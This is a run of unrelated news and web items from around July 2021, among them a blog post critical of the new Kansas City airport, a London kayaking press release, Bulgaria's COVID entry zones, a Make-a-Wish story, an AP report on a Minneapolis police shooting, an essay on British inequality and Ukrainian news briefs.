If the new plan, building and dependence on a few big carriers doesn't work, this town will be burdened by BILLIONS worth of debt for generations. Read the agreement closely and beyond newsprint promises, KC is DEFINIATELY on the hook for the borrowed money.

And so, we notice that local political denizens seem eager to promote the "progress" of the airport.

For the latest example we check in with former newsman and local blogger Jimmy C for glowing praise of a cluttered temporary parking design and construction still in progress.

The new KCI is coming right along I've wanted to get a close look -- as close as possible, anyway -- at construction progress on the $1.5 billion Kansas City International terminal for a long time, but I'd never had the occasion or the time to roam around the development site. That changed this morning, when I took Patty to the airport...

At this point they're still selling the new airport on drawings.

Moreover . . . Behind every bit of praise for the upcoming facility readers should ask about connections to unions and a diverse faction of politically engaged locals who have been recruited and benefit from New KCI hype.

Meanwhile, more critical readers understand that the future of the entire industry is in doubt in the aftermath of the pandemic . . . Read more:

Don't Let The Optimistic Talk Fool You. Airlines Still Have A Very Long Way To Go To Reach Full Recovery When are "profits" not really profits? As we're about to find out when Delta Airlines on Wednesday kicks of the airline industry's second quarter results season, the answer to that question is: when companies that have not used a single drop of black ink on their books in more than 18 months are desperate to show that they finally - they think/hope - are climbing out of the red.

You decide . . .


Search News Archive : Fast Travel News Promotion Via Search, Social Media + Email Follow Us On : HOW CAN BACK OF BEYOND HELP YOU ENJOY KAYAKING WITH FAMILY AND FRIENDS Industry: Sports Travel

Nature trips not only expose you to the beauty of the outdoors, but kayaking London also gives you the chance to bond with family and friends.



(TRAVPR.COM) UNITED KINGDOM - July 13th, 2021 - Weve all heard of gadget addiction, and you are trapped scrolling for hours regularly. But what else is there to do? Well, people have been kayaking on the Thames for years, and its a good activity to consider. Its a better alternative to social media. Nature trips not only expose you to the beauty of the outdoors, but kayaking London also gives you the chance to bond with family and friends.



A socially distanced vacation



Its understandable if youre still wary of going on vacation and mingling with a ton of other people while the pandemic is still ongoing. Kayaking London is one way for you to temporarily escape the city life without having to hop on a plane. Self-guided kayaking on the Thames offers a socially distanced activity that will get you out of the house and basking in the sunshine.



This is also a great way of getting some exercise after staying at home for a long time. You can breathe the fresh air, move your joints and work your muscles that your body will thank you for.



Go on a guided tour



If youve never tried kayaking London before, you can sign up for a guided tour and go kayaking on the Thames with your friends and family. This is a fun way to see other people from your bubble at a safe distance without having to worry about which route youre taking or where you should go.



Because the course is already prepared for you and your companions, you can just relax and have a snack and lazily drift downstream at the end of the day. We strive to give you a fun and memorable moment when you can bond with each other and enjoy each others company, especially after being apart for so long because of the pandemic.



Safety is a priority



Our instructors are always here to guide you every step of the way. We want everyone to see how much fun kayaking London can be and prove that you dont have to go very far to enjoy some time on the water. We welcome first-time kayakers and were ready to teach them the proper way of kayaking on the Thames. We also support more experienced kayakers who are looking to enhance or brush up on their technique.



No need to buy your own equipment



If you only plan on kayaking on the Thames a few times a year, you might not be keen on buying all the equipment for yourself. Thats totally fine with us because we can have you kitted up and ready to go at a moments notice. We have kayaks and paddles waiting for you.



The team at Back of Beyond Adventures is thrilled to show you a proper good time on the water. We believe that youll enjoy it so much once you try our adventure tours and will keep coming back. Head on over to our website at https://backofbeyonduk.com/contact to see our rates. Email or call us at info@backofbeyonduk.com and +44 (0) 7827 829 721 if you have any questions, and we will get back to you as soon as we can. ### Please contact the person or company listed above for information regarding the content of this press release. TravPR.com are not the issuers of this press release and are not responsible for the accuracy of the content. Share Release :



CONTACT INFORMATION Name: Kayaking London Company: Back of Beyond Adventures Phone: 00000000000 Email: kayakndon@reliable-mail.com Web: PRESS RELEASE TAGS
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FROM JULY 1: New Rules for Entering Bulgaria, Full List of Color Zones

Tourism | July 1, 2021, Thursday // 08:32| views

The countries of the world will be divided into zones

New rules for entering Bulgaria from today. Countries around the world will be divided into red, orange and green zones, depending on the number of COVID-19 patients.

People coming from countries in the green zone will enter Bulgaria under the easiest regime. Additional tests will be performed on those arriving from the orange zone, and those from the red zone will not be allowed in our country. The list will be updated every week.

The system for digital COVID-certificates also starts today.

Color zones:

1. Green zone:

- if at the time of assessment the 14-day incidence per 100,000 population is lower than 75 per 100,000 population and the weekly positivity of the laboratory tests performed is higher or equal to 4%; or

- if at the time of assessment the 14-day incidence per 100,000 population is between 75 and 200 per 100,000 population and the weekly positivity of the laboratory tests performed is less than 4%.

2. Orange zone:

- if at the time of assessment the 14-day incidence per 100,000 population is between 75 and 200 per 100,000 population and the weekly positivity of the laboratory tests performed is higher or equal to 4%; or

- if at the time of assessment the 14-day incidence per 100,000 population is between 200 and 500 per 100,000 population.

3. Red zone:

- if at the time of assessment the 14-day incidence per 100,000 population is higher than or equal to 500 per 100,000 population; or

- lack of sufficient information on the country, periodic updating of information or a reliable source of information, or if the level of the survey is lower than 300 samples per 100,000 population; or

- if a SARS-CoV-2 variant is of concern in the country concerned, taking into account sequencing volumes and

transmission

Countries

Green zone:

Austria, Germany, Estonia, Iceland, Lithuania, Luxembourg, Malta, Poland, Slovakia, Hungary, Finland, Croatia, Greece, Denmark, Italy, Slovenia, France, Norway, Republic of San Marino, Principality of Andorra, Principality of Monaco, Vatican City State.

Orange zone:

All countries outside the green and red zone.

Red zone:

India, Bangladesh, Nepal, Myanmar, Bhutan, Sri Lanka, Maldives, Brazil, Republic of South Africa, Republic of Botswana, United Republic of Tanzania, Seychelles, Republic of Namibia, Republic of Zambia, Tunisia, Oman, Malaysia, the Mongolian Republic of the Republic of Colombia, the Republic of Chile, the Oriental Republic of Uruguay, the Republic of Argentina, the Federative Republic of Brazil, the Republic of Paraguay, the Multinational State of Bolivia, the Republic of Peru, the Republic of Costa Rica, the Republic of Guatemala and the Republic of Cuba.

Countries with which the Republic of Bulgaria has reached an agreement on free passage on a reciprocal basis:

Romania, Czech Republic.

Requirements for Entry into Bulgaria by zones

Green zone:

- are allowed on the territory of the country upon presentation of valid EU digital COVID vaccination certificate or similar document,

- in the absence of a valid EU digital COVID certificate or similar document, the person shall be quarantined for 10 days,

- the director of the relevant regional health inspectorate may revoke the quarantine prescription issued by e-mail of a document showing a negative PCR test or rapid antigen test.

The prescription shall be revoked within 24 hours from the presentation of the document showing a negative result from the conducted examination.

Orange zone:

- are allowed on the territory of the country only upon presentation of a valid EU digital COVID certificate for vaccination, disease or testing, or on a similar document containing the same data as the EU digital COVID certificate.

- At not less than 5 percent in total, from the entrants, from countries of orange zones, a survey is conducted for COVID-19 with rapid antigen test.

Red zone:

- not allowed on the territory of the country
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Technavio has announced its latest market research report titled Body Masks Market by End-user, Distribution Channel, and Geography - Forecast and Analysis 2021-2025
Cuomo, Adams appear together to tout crime solutions, vow to work together
TRUMBULL  Jake Beneski was 9 when he visited the set of the Disney Channel show The Suite Life of Zack and Cody in 2008.

But he wasnt a guest star.

Beneski was born with von Willebrand disease, a blood clot disorder. He was routinely in the hospital and Make-a-Wish Connecticut granted his wish to meet the cast of the popular Disney sitcom in Los Angeles. He saw the Hollywood sign, met the entire cast and said he was transformed by the experience.

He felt like an ordinary kid for once.

It was the one time in my childhood we could just forget about everything, he said.

Beneski, now 22, works part-time at the organization.

His wish is one of the 3,600 the nonprofit has granted over its 35 years, an anniversary that will be celebrated Sunday.

Headquartered in Trumbull, Make-a-Wish will celebrate with a baking competition fundraiser as well as partnerships with Five Guys and Splash Car Wash, which will donate a part of their proceeds on July 19 and July 17, respectively.

Carin Buckman, the communications manager for Make-a-Wish Connecticut, said that the organization was small at first when it started in 1986.

It began really small, all volunteers. And then over the years, as more and more kids became aware of Make-a-Wish, they slowly brought on a staff and their first executive director, and they formalized a board of directors. And they really guided the growth of this organization through grassroots kind of activities, Buckman said.

The organization grew through fundraising from selling food as well as outreach at local fairs and festivals, she said. Because the nonprofit gets no government assistance, all funds are raised from corporate and private donations.

This year, the organization will have what is known as a virtual baking competition where people can donate $5. Buckman said she hopes they can raise $1,986 , enough to fund one wish and to commemorate the year of its founding.

One of the biggest things about Make-a-Wish is that when you're sick, you always have to explain yourself, you always have to explain this is why I'm absent. Being a part of Make-a-Wish, nobody has to feel they need to explain themselves as to why they act a certain way, or why they may be stressed out  we get it, Beneski said.

Inspired by his trip to Los Angeles, Beneski went on to recover and eventually became an intern at the organization and now does clerical work as well as working with the operations manager.

Buckman said that the organization has seen changes in the kinds of wishes theyve granted over the years. COVID-19 affected the wishes they could grant, from going to different places to meeting new people. So they improvised with virtual events and giving away products.

Around 130 wishes are still on hold, since many involve travel.

But Buckman said the organization persevered because of its mission to help children.

We just were in the business of delivering hope and, and that's what we do, she said.

One of the local business partners, Mark Curtis, the CEO of Splash Car Wash, said that it was important for the business to remain grounded to the local community.

We try to stay as local as we can. Having the Connecticut chapter of Make-a-Wish is great, because its something that so many people in so many towns have been a part of in terms of raising money or seeing a wish granted for somebody in their family or somebody in a family that they know. And so it touches just a lot of people, Curtis said.

All Splash car washes in the state will donate 20 percent of their sales on Saturday to the organization.

As for Beneski, hes going to celebrate the anniversary by doing something he did when he was first granted his wish more than a decade ago.

This weekend, for me, it's just about being with my family, I think that's the biggest thing, he said.
MINNEAPOLIS (AP)  The woman who was with a St. Paul man when he was fatally shot by members of a U.S. Marshals Service task force during an arrest attempt in Minneapolis said through her attorneys Thursday that the law enforcement officers were not in uniform and did not identify themselves as authorities when they surrounded the SUV with their guns drawn.

Norhan Askar was on a date with Winston Boogie Smith Jr. and was sitting in an SUV in a Minneapolis parking ramp on June 3 when Smith, who was Black, was fatally shot as authorities tried to arrest him on a weapons violation. Authorities have said Smith showed a handgun, and that evidence shows he fired it. Askar's attorneys said previously that she never saw a gun on Smith or in his vehicle.

Askar's attorneys reiterated that Thursday, and released additional information in advance of a lawsuit that they say will allege Askar's civil rights were violated. Askar did not appear at a news conference with her attorneys, Christopher Nguyen and Racey Rodne, but they released a statement on her behalf.

The attorneys said Askar met Smith, 32, through mutual friends and they had been dating for several weeks. They went to a restaurant for lunch and drinks, walked back to Smith's SUV, got inside, and were suddenly surrounded by unmarked cars and people with guns.

These people were dressed in neither sheriff nor peace officer uniforms. They yelled commands and did not announce themselves as law enforcement of any kind, the attorneys said. While yelling commands for them to put their hands up, multiple armed people targeted their weapons upon her and Mr. Smith.

Askar's attorneys said that she was scared for her life and complied, and that Smith had a mobile phone and began to record for Facebook Live.

As he raised the phone all she could hear was gunfire and saw Winston Smith slump over, the attorneys said. When asked if they were suggesting that law enforcement mistook the phone for a gun, Nguyen said: I think that's a logical inference.

When asked whether task force officers are supposed to identify themselves as law enforcement, a spokesman for the U.S. Marshals Service said he could not comment due to the ongoing investigation. A spokeswoman with the Minnesota Bureau of Criminal Apprehension also had no additional comment, citing the ongoing investigation.

The attorneys said Askar was pulled out of the SUV, handcuffed and put in the back of an unmarked car. She stayed in handcuffs until paramedics gave her medical attention. The attorneys said an officer later asked her how her date was.

Askar experienced trauma from seeing Smith killed next to her, and she is still healing from injuries she received when she was sprayed by broken glass, her attorneys said.

Nguyen said that Askar knew Smith for more than six months, and at some point, someone suggested he had a warrant. When she asked him about it, Smith told Askar he had gotten into some trouble but the case had been dismissed. According to court records, Smith was wanted for allegedly being a felon in possession of a firearm.

Authorities were trying to arrest him when a Ramsey County sheriff's deputy and a Hennepin County sheriff's deputy who were members of the task force fired their weapons. Both deputies were working in an undercover capacity so their names are barred from being released under state law, state investigators have said.

State investigators have also said they are unaware of any video of the incident. Investigators said there is no body camera or squad camera footage, and they are unaware of surveillance video. It was not immediately clear if Smith recorded any Facebook video before he was shot.

Local officials have said the deputies were assigned body cameras, but were told by the U.S. Marshals Service that they could not use them, despite an October change in Justice Department policy that would have allowed them to be used. The lack of body camera footage has raised questions, as Smiths family members and activists continue to demand transparency.

Askars attorneys also called for transparency. They said the state Bureau of Criminal Apprehension told them they failed to take gunshot residue samples from Smith's body, which was washed by the medical examiner. They said such evidence would exonerate Smith.

The Bureau of Criminal Apprehension said its lab doesnt do gunshot residue testing because it doesn't provide conclusive evidence about whether or when someone fired or handled a gun. Spokeswoman Jill Oliveira said in an email; In a situation like this where guns were fired from inside and outside the vehicle in close proximity we would not be able to determine which gun the GSR (gunshot residue) came from.

She said the BCA did not request gunshot residue testing from the medical examiner. She added that the BCA is conducting DNA testing and other examinations on the guns. Search warrant affidavits say authorities found a pistol and six cartridge casings inside Smiths vehicle.

Activists said they believe Askar, and again decried the lack of body camera videos and transparency. They said they do not trust the Bureau of Criminal Apprehension to investigate shootings involving police.

We want answers in this case. We demand accountability in this case. We demand transparency in this case, Nekima Levy Armstrong, an activist and civil rights attorney, said.

Jaylani Hussein, executive director of the Minnesota chapter of the Council on American-Islamic Relations said of Askar: She has the truth in her eyes she has the truth in her mouth.

Smith was shot as Minneapolis was already on edge since the death of George Floyd over a year ago, and the fatal shooting of Daunte Wright by an officer in nearby Brooklyn Center in April.
Tucson, AZ (85741)

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Tucson, AZ (85741)

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Tucson, AZ (85741)

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Thunderstorms during the evening will give way to partly cloudy skies after midnight. Low 77F. Winds SE at 10 to 20 mph. Chance of rain 60%..

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Thunderstorms during the evening will give way to partly cloudy skies after midnight. Low 77F. Winds SE at 10 to 20 mph. Chance of rain 60%.
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Sale of Food and Drink by Restaurants and Street Vendors and participation by persons in Outdoor Sports or Exercise in Public Places, will be allowed on a temporary basis, starting Monday. This according to the Ministry of Health
Introduction

Inequality is a topic that has been increasingly dismissed by many in power for a substantial period of time. Jones (2012) talks of how it has been thought of as an airy- fairy irrelevance: all that matters is that the living standards of all were improving; this has not been the case though, especially in Britain.

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This essay will focus on Britain arguing that unless inequality is urgently addressed, it will lead to a large range of economic and social issues. From this the uneven spatial access of resources shall be looked at with a specific focus on opportunity and trust, two issues which are in vital need of attention if poverty is to be alleviated. Politicians need to take a central role in attempting to eradicate inequality; Jackson and Segal (2004) argue that many people, including some on the Left express doubts about whether economic inequality matters to public policy.

Wilkinson and Pickett (2009) in their book, The Spirit Level: Why Equal Societies Almost Always Do Better, highlight that less equal societies tend to do worse when it comes to health, education and general well-being. This has been echoed by many others (Brandolini, 2007; Jackson and Segal, 2004; Jones, 2012; Smeeding, 2004, 2005, 2006) yet the government has done very little resulting in inequality in Britain being the fourth highest in the developing world (Wilkinson and Pickett, 2009).

Opponents of inequality will argue that if most of us are better off than we used to be, does it matter if some are much, much better off than most? This is a question that shall be addressed as it is central to promoting the argument that inequality is a matter of concern for us all.

Defining Poverty

Before continuing it is important to define what poverty is. The Oxford Handbook of Economic Inequality (2009) definition is: Living in poverty shall be taken to mean persons, families and groups of persons whose resources (material, cultural and social) are so limited as to exclude them from the minimum acceptable way of life in the Member State in which they live.

The second definition is from Townsend (1997): The definition of poverty most commonly applied in economically advanced societies is the exclusion from the life of the society due to lack of resources.

Two definitions from different time periods have been used as it is important to get a perspective from different years to see if the definition has changed. As you can see both definition are similar with the exception that the Oxford Handbook (2009) definition is far broader that Townsends (1997) definition which focuses on economically developed countries.

These two definitions shall be used as the platform when discussing poverty further into this essay and so as such inclusion and exclusion as a form of poverty are the main focus of this essay.

Why we should Care about Inequality

Since the Coalition came into power in 2010, they have promoted their key phrase of Were all in it together. Jones (2012) sees this as a ludicrous statement because while the average Briton faces the most protracted squeeze in living standards since the 1920s, the Sunday Times Rich List reveals an ever-booming elite. In the developed world there is an obsession with gazing upon those richer than us, peering into their ludicrously privileged lives to see how they function. This can be seen with the rising popularity of shows such as Channel 4s Made in Chelsea, the show capturing the lives of Londons elite living in Chelsea.

Wollaston (2013) describes the show and its main characters very well: these are ghastly, ghastly people  vacuous, petty, dull, and offensive. But there is kind of open-mouthed fascination in watching Made in Chelsea. Its about incredulity more than anything else, tinged with just a hint of jealousy and lechery. Well, they are rather splendid to look at.

Made in Chelsea is a fitting example to use when looking at how people think about inequality. The vast majority of viewers for the show will look enviously at the characters but would take little if any time at all to consider how and why they are so wealthy considering they seem to do so little. They just want to live their lavish lifestyles; Krugman (2007) notes how this pattern of the wealthy spending more leads to others attempting to do the same.

This has led to household debt and inequality rising in both the USA and UK, especially in the run up to the financial crisis in 2008. Krugman (2007) highlights that there is a link between inequality and the financial crises that occurred in 1929 and 2008- both coincided with historic levels of inequality. It should not take financial meltdown to get people talking and thinking about inequality.

Shows like Made in Chelsea act as tools to make the general population forget about inequality when in fact they should be highlighting it; when this begins to happen inequality will be taken far more seriously by both those in power and the general population.

In the introduction the question was posed that if most of us are better off than we used to be, does it matter if some are much, much better off than most? Mandelson (1998) said that the New Labour government was, Intensely relaxed about people getting filthy rich.

With politicians having so much power it is imperative that inequality is a matter of concern for them as they can attempt to implement changes needed. This has not and still is not the case though, Jackson and Segal (2004) argue that governments could fix inequality but chose not to and put the recent growth in inequality down to policy decisions taken by the government in the 1980s and 90s.

During this period Labour ideology and policy was revised, inequality became a taboo subject, something that members of the Labour party seemed to be almost embarrassed about as they potentially thought it may revert back to Old Labour ideals. Jackson and Segal (2004) talk of how the anti-egalitarian thrust of Thatcherism and the enthusiasm of members to secure the support of affluent floating voters meant that the Labour leadership was transformed.

Hattersley (1997) notes the party leadership believed the pursuit of greater equality was an objective that put an arbitrary cap on individuals aspirations. Equality does not cap individuals aspirations; it just gives everyone a fair platform on which to start.

This point was outlined by Kinnock (1987) where he attacked the savage unfairness of the Conservative policy, and talked of how if people had a platform on which to stand and build their business or reputation they would flourish.

From this point we can move on to talk about opportunity, a resource that must be utilised to move forward as a country and alleviate poverty.

The Uneven Access of Opportunity

For me, the goal of social democracy is to create the sort of society in which the daughter of a Hartlepool shop assistant has as much chance of becoming a High Court judge as the daughter of a Harley Street doctor. Peter Mandelson, 1998.

The statement above from Peter Mandelson is a point which the UK should strive to work towards. Jackson and Segal (2004) note that the richer you are the greater ability you have to do as you want without interference from others. Using the example from above, the daughter of a Harley Street doctor would most likely get a good education and progress onto university if she wanted. The daughter of a Hartlepool shop assistant could have the exact same wants but economically it may not be possible to do as she wants.

Table showing correlation between fathers quartile and sons quartile

Source: Dearden, Machin and Reed, 1997, p62

The table above strengthens the argument that there is a connection between class origins and destinations and truly highlights how levels of opportunity are very low for a child born into the lowest level. Britain has to improve the figures shown above to stop the prospect of there being a generation of children born into poverty with no hope, few aspirations and no platform on which to start. Rawls (1999) notes that while a meritocratic might argue that an individual deserves to be able to eat in fine restaurants or own a new car as a result of her superior productive contribution, it is harder to claim that an individual deserves to be healthier or to be better educated simply as a result of his/her (or his/her parents) talents. Being born into a poorer family should not impact your opportunities, but unfortunately this seems to be the case in many places.

This essay has argued that equality in opportunity needs to be achieved in the attempt to alleviate poverty. Brooks (2008) has argued though that what people really need is neither material equality nor equality of opportunity but simply good access to economic opportunity. This point of view is one that many would see as a better solution, if everyone had better access to money then surely the playing field would be a more level one? Wilkinson and Pickett (2009) use the example of London, one of the most unequal cities on Earth, where the top 10% receive 273 times more than the bottom 10% (IFS, 2010). This essay would argue that although economic opportunity is an important factor, on its own it would solve nothing. Increasing economic opportunity would do very little in such an unequal place; improving equality of opportunity would allow people to truly strive towards their goals without being stopped due to lack of money ,being born in the wrong part of the country or being born into a lower class family. Wilkinson and Pickett (2009) highlight that in London there are those who feel excluded and can see what they are denied on an almost daily basis. This was the main reasons for the summer riots in 2011. Jackson and Segal (2004) note that beyond a certain point money does not improve the quality of life in a society but greater equality and opportunity does. Reducing this gap in Britain would facilitate a happier, healthier and more successful population. The most unequal countries, the US, the UK, Portugal and Singapore have much worse social problems than the most equal countries of Japan, Sweden and Norway (Wilkinson and Pickett, 2009).

Effects of Low Levels of Trust

Another significant factor in trying to alleviate poverty is increasing the levels of trust in Britain. Uslaner (2002) argues that to maintain trust between members of a community, what matters is not how rich a country is, but how equitable the dispersion of income is. In unequal communities members trust one another less; Hsieh and Pugh (1993) highlight that these more unequal societies suffer from higher crime rates, health and education issues and, in particular higher homicide rates. Putnam (2000) argues that growing inequality has coincided with a decline in social cohesion and goes on to say how more detailed empirical studies have shown that tangible social fragmentation is indeed associated with rising inequality. Jackson and Segal (2004) note that in more unequal societies people trust each other less. Inequality undermines the sense of community- as a result of peoples lives being so different the feeling of common citizenship becomes more and more difficult. Lansley (2011) talks of how, greater inequality increases status competition and provides fertile soil for the growth of mistrust and isolation. These factors arent a good platform for a country to grow from and attempt to create a society that tries to include people who want to work. Kawachi (1997) notes how economic efficiency can be enhanced if there is greater interpersonal trust among communities, this would mean a greater number of people being prepared to work with one another creating the potential for a variety of new products and services.

Continuing on the subject of trust levels decreasing in Britain, residential segregation depending on social class has increased as people move away from less desirable areas partly as a consequence of spiralling inequality. Hutton (1996) describes residential segregation as, the drawbridge community for the rich and the decaying housing estates locked in viscous circles of depopulation and poverty for the poor. With the rich increasingly excluding themselves from others it has serious consequences for attempts to guarantee adequate funding for public services which could then fall into decline leading to those at the bottom losing out. Jackson and Segal (2004) note that shared public services have an important role in social democratic thought: certain goods essential to the health and well-being of citizens are decommodified in order to equalise access of such goods relative to market distribution. These services should be in a space, in which all members of the community are welcome equally, Hutton (1999) highlights that this mixing together of individuals from different backgrounds who would never usually meet is the end goal and helps to keep the services running. However, in a country where levels of inequality are high and trust is low, the wealthy can buy their way out of these services. If the rich are not included in the public system they are likely to be far less supportive of efforts to improve them, and very unhappy at the prospect of having to pay higher taxes needed to fund them. Titmuss (1968) argued that, services for poor people have always tended to be poor quality services. If trust was higher the different social classes would mix and we would not have services labelled as rich or poor; services for those at the bottom are so poor it is incredibly difficult for them to get themselves out of poverty and engage with the economy. Britain has the lowest life expectancy out of the 23 most developed countries (Wilkinson and Pickett, 2009) despite spending vast sums of money on healthcare. This is because large amounts of money are going to the wealthy while those at the bottom struggle to survive on what little they are given.

Following on from the previous section, we can look at how inequality and trust have led to services for the least well of declining. Schwabish, Smeeding and Osberg (2003) found that countries such as Britain with large levels of economic inequality had lower levels of spending on public programmes that provide goods or income and services to households. This occurs because the rich become more distant from the other classes leading to them finding it easy to opt out of public programmes and convert to private services. This may not seem like a problem at first, but because the rich exert a greater influence over decision and policy making than the other groups political support for these goods and services is eroded. People not only at the bottom, but also in the middle therefore have services that could be far better.

Conclusion

If you are born poor in a more equal society like Finland, Norway or Denmark then you have a better chance of moving into a good job than if you are born in the United States. If you want the American dream  go to Finland. Ed Miliband, speech to the Sutton Trust 21 May 2012

This essay has shown how two untraditional resources of opportunity and trust can have a huge impact on how we can deal with poverty in Britain. The current and future governments have a huge task ahead of them if they are to reduce poverty and to promote social mobility. Jackson and Segal (2004) highlight the need for policy changes and public attitude changes. For policy changes there is no set rule on how to tackle inequality and poverty, which we have seen throughout this essay are linked very closely. It is clear that policy- makers need to think creatively and broaden their ambitions to forge a strategy for Britain.

For public attitude changes Jackson and Segal Jones (2012) note that, a large majority agree with the proposition that the gap between the rich and the poor is too large. A large majority agree that the gap between rich and poor is too large, with over 80% agreeing with this statement from the early 1990s onwards (Hills, 2001). Most will recognise that the low paid make a huge contribution to society and the economy and thus deserve more than they are getting at present. Once policy and attitudes have changed, as it has been shown in this essay the economy will prosper, society will function more efficiently and this should reduce poverty levels in Britain.

References

Brooks, A (2008). Gross National Happiness. Why Happiness Matters for America  and How We Can get More of It. New York: Basic Books.

Dearden, L, Machin, S and Reed, H, (1997) Intergenerational Mobility in Britain, Economic Journal, 107, pp47-66.

Greenspan, A (2007), The Age of Turbulence, Penguin.

Hattersley, R, (1997) Why Im No Longer Loyal to Labour, The Guardian, 26 July; Brown, G, (1997) Why Labour is Still Loyal to the Poor, The Guardian, 2 August

Hills, J. (2001) Poverty and Social Security: What Rights? Whose Responsibilities? in Park, Curtice, Thompson, Jarvis and Bromley (eds), (2001) British Social Attitudes: The 18th Report  Public Policy, Social Ties, London, Sage, pp8-9;

Hsieh, C and Pugh, M, (1993) Poverty, Income Inequality, and Violent Crime: a Meta-analysis of Recent Aggregate Data Studies, Criminal Justice Review, 18, pp182-202.

Hutton, W, (1999) Real Cost of the Property Boom, The Observer, 15 August. Marshall, TH, (1950)

Andersen, G, (1990) Citizenship and Social Class, Cambridge, CUP; Esping- The Three Worlds of Welfare Capitalism, Cambridge, Polity, pp35-54.

Jackson, B and Segal, P. (2004). Why Inequality Matters. Catalyst Working Paper.

Jones, O. (2012). Why Inequality Matters. Centre of Labour and Social Studies

Kawachi, I, Kennedy, B, Lochner, K and Prothrow-Stith, D, (1997) Social capital, Income Inequality and Mortality, American Journal of Public Health, 87, pp1493-4

Kinnock, N, (1987) The Biography, London, Little, Brown & Co., p406.

Krugman, P. 2003 The Great Unraveling: Losing Our Way in the New Century

Krugman, P. 2007. The Conscience of a Liberal

Lansley, S (2011) The Costs of Inequality  Three Decades of the Super Rich and the Economy, Gibson Square.

London Institute for Fiscal Studies (2010). Poverty and Inequality in the UK: 2010. Available at: http://www.ifs.org.uk/publications/4877.11

Mandelson, P. (1998) New Labour: The Challenge of Becoming New Labour, at http://www.petermandelson.com/newlabour.shtml.

Mandelson, P.1998. Report for the Financial Times by David Wighton on 23 October 1998

Miliband,E. (2012) Speech to the Sutton Trust 21 May 2012

Putnam, R, (2000) Bowling Alone, New York, Simon & Schuster, pp358-9

Rawls, J, (1999) [1971] A Theory of Justice, Oxford, OUP, pp63-4. See also Dworkin, R, (2000) Sovereign Virtue: The Theory and Practice of Equality, Cambridge MA, Harvard UP

Salverda, W, Nolan, B and Smeeding, T. (2009) The Oxford Handbook of Economic Inequality. Oxford University Press

Schwabish, J, Smeeding, T and Osberg, L, (2003) Income Distribution and Social Expenditures: A Cross-National Perspective, Luxembourg Income Series Working Paper No. 350, Syracuse University, p35.

Townsend, P, 1979. Poverty in the United Kingdom. Harmondsworth: Penguin

Titmuss, RM, (1968) Commitment to Welfare, London, Allen & Unwin, p134.

Uslaner, E M, (2002) The Moral Foundations of Trust, Cambridge, CUP, pp230- 42, p181. We are grateful to Patti Lenard for guiding us through the literature on trust and inequality.

Wilkinson, R and Pickett, K (2009). The Spirit Level: Why More Equal Societies Almost Always Do Better. London: Allen Lane.

Wilkinson (2009), op.cit., p. 23

Wollaston, S. 2013. http://www.guardian.co.uk/tv-and-radio/2013/apr/09/made-in-chelsea-tv-review
Over the past day, July 13, thirteen ceasefire violations by the Russian-occupation troops were recorded in the Joint Forces Operation area in eastern Ukraine. One Ukrainian serviceman was killed, five more were wounded, another one got injured.

In particular, the enemy opened fire from grenade machine guns and heavy machine guns near Pivdenne (40km north-east of Donetsk); 82mm mortars and tripod-mounted man-portable antitank guns  outside Troitske (69km west of Luhansk); 120mm mortars  in the area of Vodiane near Donetsk; 122mm artillery was used to shell Ukrainian positions and civilian infrastructure near Taramchuk (29km south-west of Donetsk); 82mm mortars  outside Pavlopil (25km north-west of Mariupol) and Shyrokyne (20km east of Mariupol); 152mm artillery and 120mm mortars  in the area of Prychepylivka (50km north-west of Luhansk); heavy machine guns and small arms  near Luhanske (59km north-east of Donetsk), the press center of the JFO Headquarters informs.

In addition, two enemy Orlan-10-class UAVs were spotted to fly over the line of contact.

One Joint Forces member received fatal wounds in the enemy shelling. Five more soldiers were wounded.

Ukrainian troops fired back in response to the enemy attacks.

As of 07:00 on July 14, one ceasefire violation was recorded. One Ukrainian soldier got injured.

The Ukrainian side of the Joint Control and Coordination Center (JCCC) informed the OSCE SMM about all violations by the Russian-occupation troops, using the established coordination mechanism.

Ukrainian troops continue to control the situation in the JFO area.

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Minister of Defense of Ukraine Andriy Taran discussed the military-political component of the agenda of President Zelenskys forthcoming visit to the United States with U.S. Deputy Assistant Secretary of State for European and Eurasian Affairs George Kent.

During the meeting, the parties discussed in detail the military-political component of the agenda of the forthcoming visit of the President of Ukraine to the United States, including the expansion of the bilateral and multilateral legal and contractual framework and some issues of military and technical cooperation, the press service of the Ministry of Defense of Ukraine informs.

At the same time, in an interview with Ukraine 24 TV channel, George Kent clarified that he had arrived in Ukraine on a two-week visit to hold meetings.

Usually people who hold a position like mine come here four times a year. This time I arrived for two weeks for the first time in a long period after COVID. And our charge d'affaires is on vacation now. I will hold all the meetings that I could not hold because of the pandemic, Kent said.

He also answered questions about preparations for President Zelenskys visit to the United States.

I think that President Zelenskys visit will take place this summer. As President Biden said during a telephone conversation, it is very important that we deepen relations between our countries, Kent said.

Photo credit: mil.gov.ua

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Ukraine has deposits of 21 rare earth elements from the EUs list of 30 critical raw materials for the production of devices to develop green energy, in particular, batteries.

"Our common carbon-free future requires the widespread use of electric cars, wind turbines, solar panels, and energy storage facilities. This technological shift depends on reliable access to the critical raw materials used for these devices. The EU has identified 30 raw materials that are critical to such a transition. Ukraine has reserves of 21 elements," Head of the EU Delegation to Ukraine Matti Maasikas summed up the results of the High Level Conference on the Strategic Partnership between the European Union and Ukraine on Critical Raw Materials and Batteries held in Kyiv on July 13, an Ukrinform correspondent reported.

He stressed that this circumstance, as well as Ukraine's huge potential in innovation and technology and close proximity to the EU, were crucial to a successful partnership between Ukraine and the EU.

Maasikas also noted that signing a memorandum of understanding on critical raw materials was only the first step. Now Ukraine and the EU should promote investment, create funding opportunities, and support key industrial players. This will help them to develop reliable and sustainable projects that cover all stages of the process, from production and extraction of elements to their processing and disposal. All this requires further approximation of Ukrainian and European extractive sector regulations.

"Ukraine has great potential to increase the production of local raw materials, but a key element of reforms in this industry is a proper legal framework which still remains a barrier for investors. The EU stands ready to assist in this effort. We are already providing technical assistance to help the Government develop a vision of new rules that will create more attractive conditions for investment and provide clear requirements for licensing and environmental objectives, said the Head of the EU Delegation to Ukraine.

He stressed that the strategic partnership between Ukraine and the EU in the field of critical raw materials would contribute to stronger bilateral political ties and economic relations. Such a partnership will open opportunities to create mutually beneficial added value in the extractive sector and the production of batteries, accelerate the economic and social development of Ukraine, promote investment and find opportunities to modernize its industry.

On July 13, Ukraine hosted the High-Level Conference "Strategic Partnership between the European Union and Ukraine on Critical Raw Materials and Batteries" with the participation of Prime Minister of Ukraine Denys Shmyhal and Vice-President of the European Commission Maros Sefcovic. The event was attended by representatives of European institutions, international financial institutions, industry, business, and researchers.

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President of Ukraine Volodymyr Zelensky had the first phone conversation with President of the People's Republic of China Xi Jinping.

